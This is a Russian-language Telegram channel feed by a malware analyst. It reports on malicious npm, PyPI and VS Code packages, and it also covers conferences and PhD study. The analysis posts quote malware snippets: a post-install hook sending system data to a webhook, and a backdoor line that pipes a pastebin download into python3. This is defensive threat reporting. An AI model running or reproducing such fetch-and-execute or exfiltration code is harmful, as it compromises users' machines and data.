disasm.me channel
2.2K subscribers
334 photos
3 videos
10 files
213 links
Канал вирусного аналитика, занимающегося безопасностью опенсорса и технологиями искусственного интеллекта. Плюс заметки по аспирантуре :)

Автор: @hexadec1mal

В чате сидит Guard-бот, будьте внимательнее.
Download Telegram
Это индонезийский гастрономический DDoS 🥘

На протяжении последних дней злоумышленники используют несколько десятков учётных записей, заполоняя NPM 80+ тысячами пакетами, состоящих из названий индонезийских блюд и имён. Аналитики из SourceCode RED назвали эту атаку "IndonesianFoods" NPM Worm.

Пакет при попытке запустить его основную логику:
👫 Заглядывает в свой словарь, чтобы придумать трёхсложное название новому пакетy.
👫 Изменяет свой package.json, подменяя название и придумывая случайную версию пакета.
👫 Пытается опубликовать пакет от вашего имени через npm publish (сработает, если вы добавили креды от NPM в свой пакетный менеджер).
👫 Спит 7 секунд — и пойдёт по циклу по новой.

В пакетах реализован только механизм червя, без дальнейших попыток дальше как-либо вас скомпрометировать (например, украсть данные, установить бэкдор). Но тем не менее, это создаёт значительную нагрузку на сам NPM и команды, занимающиеся его безопасностью.

Ниже кусок кода, отвечающего за генерацию:
const indonesianNames = ["andi", "budi", "cindy", "dewi", "erwin", "fitri", "gilang", "hendra", "irma", "joko", "kiki", "lina", "maya", "nina", "ocha", "patria", "qori", "rina", "sari", "tuti", "udin", "vina", "wati", "xaver", "yanti", "zain", "ade", "bayu", "citra", "dian", "eko", "fauzi", "gita", "hadi", "ida", "joni", "kurnia", "lisa", "maman", "nana", "ogi", "putri", "rudi", "sinta", "tomi", "umi", "vera", "wawan", "yuni", "zul", "agus", "bambang", "cici", "dono", "eka", "fajar", "galih", "hanafi", "indah", "joko", "kurniawan", "lutfi", "mulyono", "nurul", "okta", "putra", "riana", "siska", "tania", "utomo", "vida", "wibowo", "yanti", "zaki", "arif", "bella", "candra", "dewanto", "erick", "fadhil", "gita", "hadianto", "iwan", "jaja", "kresna", "laila", "mahesa", "nadia", "oktafian", "putri", "rifqi", "surya", "tiara"];

const indonesianFoods = ["rendang", "sate", "nasiuduk", "lontong", "bakso", "soto", "gudeg", "pecel", "gado-gado", "nasipecel", "tongseng", "rujak", "rawon", "nasicampur", "buburayam", "bubursumsum", "tahutek", "keraktelor", "serabi", "jengkol", "asinan", "nasi", "mie", "mieayam", "mieaceh", "miemee", "miebogor", "gorengan", "dodol", "klentik", "kupat", "mendoan", "gepuk", "rangginang", "kripik", "martabak", "nasisayur", "rujaksoto", "sroto", "jamblang", "brongkos", "semur", "telurtahu", "tempe", "sambel", "oncom", "tumis", "empal", "sambel", "telur", "gulai", "empal", "ikan", "bakwan", "botok", "brengkes", "donat", "esdoger", "kemplang", "kentang", "kue", "lapis", "mangut", "martabak", "naget", "oblok", "ongol-ongol", "otak-otak", "papeda", "pisang", "ragi", "rojak", "ronde", "sambalado", "sate", "semur", "soto", "tahu", "teh", "tempe", "toge", "tomat", "jus", "lodeh", "mangga", "kolak", "bika", "takokak", "tapai", "ketoprak", "sego", "liwet", "rangi", "lepet", "rangi", "sasag", "kembang", "gandul", "enting", "lutis", "tiwul", "ruwet", "saguer", "getuk", "mangut", "nasi", "lengko", "menjes", "bakwan", "ketan", "kue", "lapis", "taiwan", "kue", "lumpur", "kue", "kacang", "kue", "lupis", "kue", "moci", "kue", "mendut", "klanting", "keripik", "kepok", "klipo", "peyek", "gembus", "tahu", "tek", "wajit", "getas", "serimuka", "lapis", "dradag", "bubur", "gaplek", "kupang", "keripik", "ubi"];

function generateRandomName() {
const randomName = indonesianNames[Math.floor(Math.random() * indonesianNames.length)];
const randomFood = indonesianFoods[Math.floor(Math.random() * indonesianFoods.length)];
const randomNumber = Math.floor(Math.random() * 100) + 1;

return `${randomName}-${randomFood}${randomNumber}`;
}

function generateRandomDelay() {
return 7000; // set delay to 7 seconds
}


generateRandomDelay настолько рандомный, что детерминирован 👋

#npm #worm
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
😁126
В эту пятницу буду в эфире CyberCamp рассказывать про таск "to My Curious Programmer", приходите также послушать райтапы авторов других задач 🚶‍♀️
Please open Telegram to view this post
VIEW IN TELEGRAM
5
Forwarded from CyberCamp
А напоследок я скажу...

В следующую пятницу, 21 ноября, мы проведем эфир, завершающий арку CyberCamp 2025 🤩

На эфире вас ждут:

➡️разбор четырех заданий их авторами: «Горький коммит» из соло-программы, а из командных киберучений — to My Curious Programmer, «Политик аналитик», NightCall

➡️подведение итогов кэмпа и статистика — самые интересные доклады и задания по вашим оценкам, самые активные участники, обсуждение обратной связи и планов на будущее

➡️возможность выиграть еще немного мерча! Следите за новостями 😎

Встречаемся все там же — на платформе кэмпа 21 ноября с 14:30 до 18:00 МСК. Ведущие эфира — 😎 Полина Корнеева и 🤩 Кира Шиянова из команды СyberCamp.

🧿 Платформа | 👋 Комьюнити
🥰 Буст для чата
Please open Telegram to view this post
VIEW IN TELEGRAM
5
Снова про транзитивные зависимости. В этот раз без троянов 😇

Сегодня, собирая проект на litestar, столкнулся с тем, что отсутствует зависимость sniffio — небольшая библиотека, которая определяет, в каком асинхронном окружении (asyncio, trio, curio, ...) запущен код.

ASGI-фреймворк litestar, хоть и не указывал sniffio как зависимость, всё равно её импортировал и использовал, ведь она является зависимостью у anyio, прямой зависимости для litestar.

Что может пойти не так?

Вчера (29 ноября) библиотека anyio в версии 4.12 убрала sniffio из зависимостей. Из занятного — у них есть деплой через GitHub, и у них упали часть тестов на 4.12, что не помешало им задеплоиться (ситуация на скриншоте ниже).

При этом в прошлом релизе от 25 сентября все тесты прошли нормально, то есть мейнтейнеры anyio решили забить, что теперь часть зависящих проектов валятся с ошибкой. Сильная аура, мне б такую 💪

Всё это привело к тому, что проекты на litestar перестали собираться 🤪

Мораль сего, казалось бы очевидного, сюра, такова:
🟢Фиксируйте в проектах все зависимости, которые намереваетесь использовать. Не используйте явным образом транзитивные зависимости.

Даже большие проекты тут ошибаются.

Если можете позволить себе такую роскошь, как фриз всех зависимостей проекта — лучше делайте)

#pypi #python
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
😁544👾1
Обзор ZeroNights 2025 🐈

26 ноября состоялся третий мой ZN — и первый в роли спикера.

Общие впечатления:

🐶 Хороший выбор площадки: крытый лофт (что при нулевой температуре на улице важно), при этом там было жарко или холодно.

🐶 Четыре зала, среди которых (лично для меня) всегда была как минимум одна интересная тема доклада.

🐶 Для посетителей всё время были доступны напитки и закуски, а на обед и спикерпати — полноценная еда. Это для меня оказалось положительным сюрпризом, так как конфа заранее это не афишировала. Приятно.

Что я увидел как спикер:

☕️ Сопровождение. После принятия доклада с тобой связывается менеджер, ответственный за командировку и сопровождение. У меня сложился исключительно положительный опыт, организаторы стремились максимально помочь спикерам по их вопросам в кратчайшие сроки.

☕️ Условия командировки. Спикерам компенсировали билеты (до 20к в сумме туда-обратно) и проживание в отеле (до двух ночей, до 9к за ночь). Можно было положиться на организаторов, которые всё согласуют с тобой и сами закажут, а можно было и самому этим заняться с последующим предоставлением билетов/ваучеров. Это очень здорово 💃

☕️ Сцены организованы хорошо, у спикеров был и таймер выступления (о формате которого, прямого или обратного отсчёта, спросили за несколько дней), и заметки в PowerPoint. На выбор была петличка и микрофон.

☕️ (Опять) про еду. Спикеров дополнительно полноценно покормили, и официант периодически приходил в спикерскую и предлагал чай/кофе. Это мило)

Минус[ы]:

🤔 Отсутствие зарубежных спикеров. В 2019 были интересные доклады на английском, мне больше всего понравилось выступление по фреймворку эмуляции бинарей Qiling от его авторов, один из них — создатель известных ревёрсерам Unicorn, Capstone и Keystone. Такой опыт очень заряжает, особенно на начале карьерного пути.

———

Мне понравилось. И как посетителю, и как спикеру. Вайб сохранён)
Учитывая, что это первый ZN в рамках длительного перерыва (последний ZN проходил в 2021), желаю продолжать в том же духе 💃

Был рад увидеться с вами, мои читатели, друзья и коллеги)

#zeronights #conf
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
13🌚2👾1
Мир LLM [пока] не победил

Меня не перестаёт умилять, как злоумышленники используют LLM для написания троянов в опенсорсе.

NPM, библиотека @notrainers/nobtrainer-sdk, вредоносная активность опубликована 23 ноября 2025, пакет удалён 8 декабря (продержался 15 дней).

Переопределяет функции:
🟢__esModule.trackWalletInitialization
🟢__esModule.logWalletActivity
🟢__esModule.syncWalletState
Цель: кража приватного ключа от криптокошелька и отправка его в дискорд-сервер.

Открываешь библиотеку, видишь текст "This function is designed to look like a legitimate utility function" и умиляешься подробным комментариям от LLM по вредоносному коду (Рис 1, 2).

———

PyPI, библиотеки peptest и peptest2. Продержались пару часов 20 ноября 2025.

Я видел троянистые библиотеки, навайбкоженные на:
🤔английском;
🤔русском;
🤔иврите;
🤔японском;
🤔китайском;
🤔французском.

И вот список пополнился азербайджанским.

class PostInstallCommand(install):
"""Post-installation for installation mode."""
def run(self):
install.run(self)

# Webhook URL-nizi bura əlavə edin
WEBHOOK_URL = "https://webhook.site/[REDACTED]"

# Göndəriləcək məlumatlar
...


# main.py-dən funksiyaları import edirik
try:
from .main import send_webhook_notification, main, get_system_info

# Package import olunanda avtomatik webhook göndəririk
print("🚀 peptest2 paketi yüklənir...")

# Sistem məlumatlarını topluyuruq
sys_info = get_system_info()

# Webhook-a bildiriş göndəririk
print("📡 Webhook-a məlumat göndərilir...")
...

Цель библиотек — сбор информации о системе.

———

VSCode, расширения за авторством MarkH, продержались 3 месяца в апреле-июле 2025. В том числе об этой кампании я рассказывал на ZeroNights.

Нагрузка тоже написана с использованием LLM, тут ничего особенного (рис. 3).

Скачиваемый PowerShell-стейдж содержит комментарий, явно написанный человеком (рис. 4):
# RAWR UWU XD OWO MEOW Owo NYA uwU NEKO OwU-CHAN TeeHee UwU UwO Ehe~ Kawaii ~~

Послание для высших цивилизаций? Эффективный способ сбить детект у MS Defender? Свои версии оставляйте в комментариях.

———

Вот так LLM в 2025 году помогают злоумышленникам творить непотребства, уменьшая порог вхождения в эту область. Будьте внимательны и осторожны, используйте контейнеризацию для митигации части рисков.

#pypi #npm #vscode #ti #scs #llm
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁123
Разбираясь с тяжеловесными пакетами, нашёл вот такой интересный пакет: quick-logger-js

Занятно видеть разницу в весе релизов:
1.0.5 — 565 KB
1.0.6 — 40.7 KB
1.0.7 — 3.29 GB 👀
1.0.8 — 55.6 KB
1.0.9 — 55.6 KB

Что произошло? В релиз попал файл stdout.txt с результатами бенчмарка для библиотеки. Релиз не удалён. Много думал 😺

#npm
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
😁195🤔1
У Алексея Лукацкого теперь есть совместное фото со мной, но он пока об этом не знает XD — спасибо 7h3 B3S7 Ph0t0Gr4PH за неожиданный снимок 🎂 Просто вышло забавно, no offense)

Во вторник мне подарили футболку и шоппер за заслуги перед Positive Education. Лозунг очень понравился)

———

Кстати,  у PHDays начался Call For Papers 😦
Проходка на крупную конфу — это всегда приятно, тем более когда на конференции есть Fast Track :)
Для больших докладов дают ещё +2 проходки, трансфер и гостиницу.

Доступно 20 треков и, конечно, моё внимание приковано к Defense, трём Development-трекам, Open Source, двум AI-трекам.

Хоть заявки принимаются до 9 марта, есть смысл начать ресёрчить уже сейчас, благо впереди новогодние каникулы 😎

#conf
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁10🌚32👾1
В названии канала фигурирует фраза "Плюс заметки по аспирантуре :)" При этом последние посты, связанные с аспирантурой, датируются февралем 2024 (про сдачу кандидатского экзамена по философии, про экзамен по иностранному языку). Исправляюсь.

#Аспирантура часть 1. Вводные слова

Чем отличается аспирантура от магистратуры и специалитета

Специалитет — это подготовка практико-ориентированного специалиста для конкретной профессии. Задача магистратуры — дать более углублённые знания в конкретном направлении, добавив управленческую и/или научную нотку и дав возможность выбрать смежное бакалаврскому или в принципе другое направление.

Я поступал на бакалавриат по направлению "Прикладная информатика в экономике", но на втором курсе познакомился с соревнованиями по информационной безопасности в формате CTF и мне прострелили колено, поэтому магистратуру выбрал по "Управлению информационной безопасностью" — вот вам кейс с переквалификацией.

В аспирантуру можно поступить после специалитета или магистратуры (скипнуть магу, поступив после бакалавриата не получится), цель — подготовка научного сотрудника и написание диссертации на соискание степени кандидата наук.

На специалитете и магистратуре вам не особо предъявляют требования по статьям. Часто достаточно 1-3 статей, попавших в сборники конференций или РИНЦ, тут можно даже выступить на конференции родного вуза.

Аспирантская работа более сложная: требуется публикация статей в журналах из перечня ВАК, соответствующие теме диссертации. У диссертации должна быть чёткая научная новизна. Тут появляются такие сущности, как оппоненты (исследователи в твоей или смежной области, которые могут дать оценку работе и напишут на неё отзыв, подчёркивающий сильные и слабые стороны), диссертационный совет и ВАК.

Куда поступать на ИТ/ИБ

Для начала выберите научные специальности, по которым вы готовы писать диплом, в номенклатуре.

Далее можно либо ориентироваться на список вузов, на которые можно поступить по выбранным специальностям, либо наоборот — ограничить свой выбор теми специальностями, которые предлагает любимая alma mater).

Я заканчивал бакалавриат и магистратуру в МЭИ и решил для аспирантуры попробовать что-то новенькое — МИРЭА.

Могу сказать, что в МИРЭА очень хорошее сопровождение аспирантов, осуществляемое как на уровне ВУЗа, так и на уровне кафедр. По результатам семестров ты сдаёшь отчёты на кафедру, ВУЗ также контролирует твой KPI по статьям, что постоянно держит тебя бодрячком :)

Могу также посоветовать мой родной МЭИ, конкретно кафедру БИТ в ИнЭИ. Там сильные преподаватели. Если вы знаете, что вас следует держать в ежовых рукавицах — просто попросите об этом. Поверьте, раз я говорю уже об этом во второй раз, то это очень важно) Работа и хобби легко увлекают вас, всячески мешая диссертации.

Как выбрать тему диссертации

Учитывайте, что вам придётся с ней жить 3+ лет. Идеально, если вам удастся выбрать тему, связанную с рабочими задачами — так вы сможете провести время с пользой (только сперва обсудите это с руководителем на работе). Также в паспортах специальностей строго указаны направления исследований, которым ты должен следовать.

Есть хороший сайт "Советы аспирантам", который подробно отвечает на все вопросы по жизненному циклу студента и его диссертации. К сожалению, он, похоже, заброшен с 2022 года.

С точки зрения написания диссертации, сайт хороший, но я не советую полагаться на него для волатильных вещей, к примеру:
- списки вузов по специальностям;
- паспорта специальностей (например, там указан уже неактуальный паспорт для специальности 1.2.3);
- перечень журналов, рецензируемых ВАК.

Кафедра может предложить список тем, в которых у научников есть экспертиза, но лично я советую взять свою тему. Выбирайте такую тему диссертации, в которой вы уверены, что сможете найти научную новизну. Поэтому да, либо тему по рабочим задачам, либо продолжить тему, выбранную на специалитете/магистратуре.

Как-то так 🤔 В следующей части будет меньше графоманства и больше практически значимых для аспирантов вещей.

Буду рад дополнениям в комментариях ❤️❤️

#аспирантура
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
12😁22👾1
#Аспирантура часть 2. Первые шаги

Читаем диссертации защищающихся

Список диссертационных советов, где есть специальности по ИТ/ИБ:

👅 ВШЭ (мощная поисковая система; сильный календарь защит; мало защит ИТ-направлений)

👀 УРФУ (мощная поисковая система, но не хватает выпадающего списка специальностей)

😑 ИТМО (хорошая поисковая система, но обязательный фильтр по годам без возможности выбора диапазона)

🏃‍♀️МИРЭА (защиты разбиты по диссоветам; навигация справа)

🚶‍♀️ МФТИ (защиты разбиты по направлениям наук)

😼 МЭИ (защиты разбиты по месяцам; попадаю под 429 Too Many Requests 👍)

🚶‍♀️Бауманка (можно посмотреть список всех защищающихся вуза, но 300 человек за 10 лет как будто мало)

Знаете ещё варианты — пишите в комментариях, буду благодарен)

Некоторые из работ:

Модели, алгоритмы и методология обнаружения атак и аномалий с использованием методов искусственного интеллекта для повышения кибербезопасности контейнерной инфраструктуры — ИТМО, 2.3.6, на английском, 311 страниц, 80 из которых список литературы и приложения.

Методы мониторинга безопасности и обнаружения аномалий в среде Kubernetes с использованием агентов и методов машинного обучения — ИТМО, 2.3.6, на английском, 290/75 страниц.

Методы мониторинга шифрованного трафика в IP-­сетях на основе анализа цифровых отпечатков протоколов — ИТМО, 2.3.6, на русском, 198/71 страница.

Методы и алгоритмы интеллектуального управления сложными техническими объектами на основе нечеткого ситуационно-прецедентного подхода — МЭИ, 2.3.1, на русском, 178/23 страницы.

Математическое и алгоритмическое обеспечение интеллектуального статического анализа программных систем для специализированных гетерогенных вычислительных платформ — МИРЭА, 2.3.5, на русском, 176/46 страниц.

Информационно-аналитическое обеспечение систем поддержки принятия решений на основе методов интервального прогнозирования финансовых временных рядов — МИРЭА, 2.3.8, на русском, 149/35 страниц.

Исследование вполне достижимых автоматов — УРФУ, 1.2.3, на английском, 98/7 страниц.

Выявление аномалий трафика в мультипротокольных промышленных сетях с недокументированной структурой — УРФУ, 2.3.6, на русском, 153/34 страницы.

Так что не стоит бояться, что диссертация — это неподъемная простыня из текста. Как минимум пятая его часть — это содержание, список литературы, приложения.

Общая структура научной работы аспиранта

В России научная работа включает несколько обязательных материалов, регламентированных нормативными документами ВАК и Минобрнауки.

Типовой набор состоит из трёх компонентов:

😊 Кандидатская диссертация

Полное научное исследование, в котором:
- сформулирована и доказана научная новизна;
- получены новые научные результаты;
- имеется теоретическая и/или практическая значимость.

Типовой объем — 100+ страниц для естественных и технических направлений; для гуманитарных/социальных направлений требуется больше.

Список литературы насчитывает обычно 100+ источников.

О главах подробнее поговорим позже.

😊 Автореферат / синопсис

Краткое, строго структурированное изложение содержания и результатов диссертации. Назначение: рассылка членам диссовета и библиотекам.

Объём 15-25 страниц.

😊 Презентация для защиты

Визуальное сопровождение вашего устного доклада на 10-15 минут, всё как в классической защите работы бакалавра/магистра/специалиста.

———

Всех с наступающим ❤️🐱
В следующем году продолжим анализировать угрозы в опенсорсе — и жизнь в аспирантуре.

#аспирантура
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
9😁3
Рубрику "Необычные трояны" в этом году открывает разработчик Jshwheheh 😈, заливший вчера на PyPI пакет pyrogrom (тайпсквоттинг клиента для Телеграма pyrogram).

Разработчик достаточно интересно подписывает авторство (рис. 1).

Библиотека является навайбкоженной — она изобилирует соответствующими комментариями:
# This code will execute once the library is imported.
...

# Check ID before anything else
if ID != [REDACTED]:
return # Do nothing if ID is incorrect

...

# Function to check the ID in each message
def check_id(message):
return message.from_user.id == [REDACTED]

@bot.message_handler(func=lambda message: check_id(message), commands=['start'])
def start_command(message):
# Execute the SSH command (for confirmation or if the user wants to restart)
command = "curl -s https://pastebin.com/raw/[REDACTED] | python3 > /dev/null 2>&1 &"
result = subprocess.run(command, shell=True, capture_output=True, text=True)

# Send the message
...


Вот только комментарии оказались на арабском (рис. 2), что пополняет копилку языков, на которых вайбкодят трояны.

У библиотеки базовый функционал бэкдора:
— исполнение системных команд;
— операции над файлами и папками, включая листинг ваших директорий и отправку содержимого автору бота;
— небольшой сбор geoip.

Немного не понимаю, в какой части мультивселенной я оказался, но в коде, скачиваемом с pastebin, есть админский функционал отобразить время для молебен в зависимости от выбранного города 😎

#malware #pypi #python #ti #scs #llm
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
12
Чем удалось заняться на каникулах:

— Купил Steam Deck. Последней моей консолью была PS Vita, в которую я толком и не играл, поэтому опыта особо нет. Консоль пушка)

— Прошёл с женой It Takes Two во второй раз (за второго персонажа).

— Написал окружение для бенчмарка процессинговой системы, нацеленной на построение пайплайнов по анализу вредоносов karton. Позже поделюсь результатами изысканий.

— Не забыл уделять время китайскому.

— Пробую вернуться на Linux. В 2016-2019 сидел на Ubuntu, потом трудоустроился в Positive, перестал жевать кактус, пересел на Windows. Но винда тоже обросла иголками, поэтому почему бы и не вернуться на тот же Mint.

Как-то так. А что у вас?)

UPD: вижу, что люди присоединяются к чату, но не справляются с капчей. Пишите в личку канала, если нужна помощь)

@disasm_me_ch
😁103